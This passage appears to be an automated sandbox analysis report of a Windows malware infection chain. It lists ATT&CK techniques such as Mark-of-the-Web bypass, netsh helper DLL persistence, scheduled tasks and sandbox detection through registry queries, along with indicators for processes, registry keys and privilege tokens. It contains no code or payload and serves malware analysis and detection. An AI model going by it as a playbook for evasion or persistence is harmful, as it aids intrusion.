5300	sc.exe
6468	sc.exe
6476	sc.exe
14764	sc.exe
15020	sc.exe

Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 1 IoCs

When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.

defense_evasion

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\random.exe:Zone.Identifier	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 2 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	b3d59d1e.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	b3d59d1e.exe

System Location Discovery: System Language Discovery 1 TTPs 45 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	88b971863b.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rapes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qhjMWht.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UZPt0hR.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	futors.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5d9389ae82.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost015.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost015.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	KMSpico.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost015.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost015.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	KMSpico.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9sWdA2p.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	core.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	amnew.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pcidrv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	78b237e47b.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1ef04c27.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pcidrv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	futors.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost015.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7daf4e82b3.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rapes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	0f03eb8d51.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	b3d59d1e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	93f704f934.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	f59c48c2d1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	a5506f9080.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	but2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	d331f1b04d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7daf4e82b3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXE.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	random.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fd67EIq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	df98b90ee9.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	MSBuild.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	MSBuild.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	Taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	Taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	Taskmgr.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	MSBuild.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	MSBuild.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
7696	timeout.exe

Enumerates system info in registry 2 TTPs 15 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

GoLang User-Agent 1 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	67133	Go-http-client/1.1

Modifies data under HKEY_USERS 50 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133886119601979607"	msedge.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe

Modifies registry class 9 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2873637269-1458872900-2373203793-1000\{BCB4B051-B3D3-400C-BDF1-817D44D95FCA}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2873637269-1458872900-2373203793-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.WindowsTerminal_8wekyb3d8bbwe\StartTerminalOnLoginTask	Taskmgr.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2873637269-1458872900-2373203793-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\Moniker = "cr.sb.odm3E4D1A088C1F6D498C84F3C86DE73CE49F82A104"	chrome.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2873637269-1458872900-2373203793-1000\{42DA3808-CE12-429C-B58E-1A2E746FF8A9}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2873637269-1458872900-2373203793-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2873637269-1458872900-2373203793-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\DisplayName = "Chrome Sandbox"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2873637269-1458872900-2373203793-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\Children	chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe

NTFS ADS 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\random.exe:Zone.Identifier	msedge.exe
File created	C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe\:Zone.Identifier:$DATA	random.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
7108	schtasks.exe
5944	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5328	random.exe
5328	random.exe
3564	random.exe
3564	random.exe
388	rapes.exe
388	rapes.exe
4916	rapes.exe
4916	rapes.exe
4936	powershell.exe
4936	powershell.exe
4936	powershell.exe
5320	MSBuild.exe
5320	MSBuild.exe
5320	MSBuild.exe
5320	MSBuild.exe
5136	0f03eb8d51.exe
5136	0f03eb8d51.exe
14704	powershell.exe
14704	powershell.exe
14704	powershell.exe
3132	powershell.exe
3132	powershell.exe
3132	powershell.exe
5300	9sWdA2p.exe
5300	9sWdA2p.exe
5300	9sWdA2p.exe
5300	9sWdA2p.exe
5300	9sWdA2p.exe
5300	9sWdA2p.exe
6852	but2.exe
6852	but2.exe
13728	qhjMWht.exe
13728	qhjMWht.exe
4524	rapes.exe
4524	rapes.exe
2972	msedge.exe
2972	msedge.exe
12292	WmP4vZj.exe
14132	powershell.exe
14132	powershell.exe
14132	powershell.exe
12292	WmP4vZj.exe
12292	WmP4vZj.exe
12292	WmP4vZj.exe
12292	WmP4vZj.exe
12292	WmP4vZj.exe
12292	WmP4vZj.exe
12292	WmP4vZj.exe
12292	WmP4vZj.exe
12292	WmP4vZj.exe
12292	WmP4vZj.exe
12292	WmP4vZj.exe
12292	WmP4vZj.exe
12292	WmP4vZj.exe
12292	WmP4vZj.exe
11292	b3d59d1e.exe
11292	b3d59d1e.exe
11292	b3d59d1e.exe
11292	b3d59d1e.exe
15328	updater.exe
5840	powershell.exe
5840	powershell.exe
5840	powershell.exe
15328	updater.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
14732	Taskmgr.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
2340	tzutil.exe
11292	b3d59d1e.exe
11292	b3d59d1e.exe
11292	b3d59d1e.exe
11292	b3d59d1e.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
5812	UZPt0hR.exe
5812	UZPt0hR.exe
5812	UZPt0hR.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 16 IoCs

pid	Process
5556	msedge.exe
5556	msedge.exe
5556	msedge.exe
5556	msedge.exe
5556	msedge.exe
11152	chrome.exe
11152	chrome.exe
11152	chrome.exe
11152	chrome.exe
9296	msedge.exe
9296	msedge.exe
11620	chrome.exe
11620	chrome.exe
11620	chrome.exe
11620	chrome.exe
11620	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4936	powershell.exe
Token: SeDebugPrivilege	14704	powershell.exe
Token: SeLoadDriverPrivilege	2340	tzutil.exe
Token: SeDebugPrivilege	3132	powershell.exe
Token: SeDebugPrivilege	11292	b3d59d1e.exe
Token: SeBackupPrivilege	11292	b3d59d1e.exe
Token: SeRestorePrivilege	11292	b3d59d1e.exe
Token: SeLoadDriverPrivilege	11292	b3d59d1e.exe
Token: SeShutdownPrivilege	11292	b3d59d1e.exe
Token: SeSystemEnvironmentPrivilege	11292	b3d59d1e.exe
Token: SeSecurityPrivilege	11292	b3d59d1e.exe
Token: SeBackupPrivilege	11292	b3d59d1e.exe
Token: SeRestorePrivilege	11292	b3d59d1e.exe
Token: SeDebugPrivilege	11292	b3d59d1e.exe
Token: SeSystemEnvironmentPrivilege	11292	b3d59d1e.exe
Token: SeSecurityPrivilege	11292	b3d59d1e.exe
Token: SeCreatePermanentPrivilege	11292	b3d59d1e.exe
Token: SeShutdownPrivilege	11292	b3d59d1e.exe
Token: SeLoadDriverPrivilege	11292	b3d59d1e.exe
Token: SeIncreaseQuotaPrivilege	11292	b3d59d1e.exe
Token: SeSecurityPrivilege	11292	b3d59d1e.exe
Token: SeSystemProfilePrivilege	11292	b3d59d1e.exe
Token: SeDebugPrivilege	11292	b3d59d1e.exe
Token: SeMachineAccountPrivilege	11292	b3d59d1e.exe
Token: SeCreateTokenPrivilege	11292	b3d59d1e.exe
Token: SeAssignPrimaryTokenPrivilege	11292	b3d59d1e.exe
Token: SeTcbPrivilege	11292	b3d59d1e.exe
Token: SeAuditPrivilege	11292	b3d59d1e.exe
Token: SeSystemEnvironmentPrivilege	11292	b3d59d1e.exe
Token: SeLoadDriverPrivilege	11292	b3d59d1e.exe
Token: SeLoadDriverPrivilege	11292	b3d59d1e.exe
Token: SeIncreaseQuotaPrivilege	11292	b3d59d1e.exe
Token: SeSecurityPrivilege	11292	b3d59d1e.exe
Token: SeSystemProfilePrivilege	11292	b3d59d1e.exe
Token: SeDebugPrivilege	11292	b3d59d1e.exe
Token: SeMachineAccountPrivilege	11292	b3d59d1e.exe
Token: SeCreateTokenPrivilege	11292	b3d59d1e.exe
Token: SeAssignPrimaryTokenPrivilege	11292	b3d59d1e.exe
Token: SeTcbPrivilege	11292	b3d59d1e.exe
Token: SeAuditPrivilege	11292	b3d59d1e.exe
Token: SeSystemEnvironmentPrivilege	11292	b3d59d1e.exe
Token: SeDebugPrivilege	13476	fd67EIq.exe
Token: SeDebugPrivilege	14132	powershell.exe
Token: SeShutdownPrivilege	15176	powercfg.exe
Token: SeCreatePagefilePrivilege	15176	powercfg.exe
Token: SeShutdownPrivilege	4468	powercfg.exe
Token: SeCreatePagefilePrivilege	4468	powercfg.exe
Token: SeShutdownPrivilege	1180	powercfg.exe
Token: SeCreatePagefilePrivilege	1180	powercfg.exe
Token: SeShutdownPrivilege	5404	powercfg.exe
Token: SeCreatePagefilePrivilege	5404	powercfg.exe
Token: SeDebugPrivilege	5840	powershell.exe
Token: SeShutdownPrivilege	6840	powercfg.exe
Token: SeCreatePagefilePrivilege	6840	powercfg.exe
Token: SeShutdownPrivilege	6844	powercfg.exe
Token: SeCreatePagefilePrivilege	6844	powercfg.exe
Token: SeShutdownPrivilege	6868	powercfg.exe
Token: SeCreatePagefilePrivilege	6868	powercfg.exe
Token: SeShutdownPrivilege	6404	powercfg.exe
Token: SeCreatePagefilePrivilege	6404	powercfg.exe
Token: SeLockMemoryPrivilege	5988	explorer.exe
Token: SeShutdownPrivilege	11152	chrome.exe
Token: SeCreatePagefilePrivilege	11152	chrome.exe
Token: SeShutdownPrivilege	11152	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
5556	msedge.exe
5556	msedge.exe
5556	msedge.exe
5556	msedge.exe
5556	msedge.exe
5556	msedge.exe
5556	msedge.exe
5556	msedge.exe
5556	msedge.exe
5556	msedge.exe
5328	random.exe
5556	msedge.exe
11152	chrome.exe
11152	chrome.exe
11152	chrome.exe
11152	chrome.exe
11152	chrome.exe
11152	chrome.exe
11152	chrome.exe
11152	chrome.exe
11152	chrome.exe
11152	chrome.exe
11152	chrome.exe
11152	chrome.exe
11152	chrome.exe
11152	chrome.exe
11152	chrome.exe
11152	chrome.exe
11152	chrome.exe
11152	chrome.exe
11152	chrome.exe
11152	chrome.exe
11152	chrome.exe
11152	chrome.exe
11152	chrome.exe
11152	chrome.exe
11152	chrome.exe
11152	chrome.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe
14732	Taskmgr.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5556 wrote to memory of 5524	5556	msedge.exe	81
PID 5556 wrote to memory of 5524	5556	msedge.exe	81
PID 5556 wrote to memory of 5160	5556	msedge.exe	82
PID 5556 wrote to memory of 5160	5556	msedge.exe	82
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
PID 5556 wrote to memory of 4472	5556	msedge.exe	83
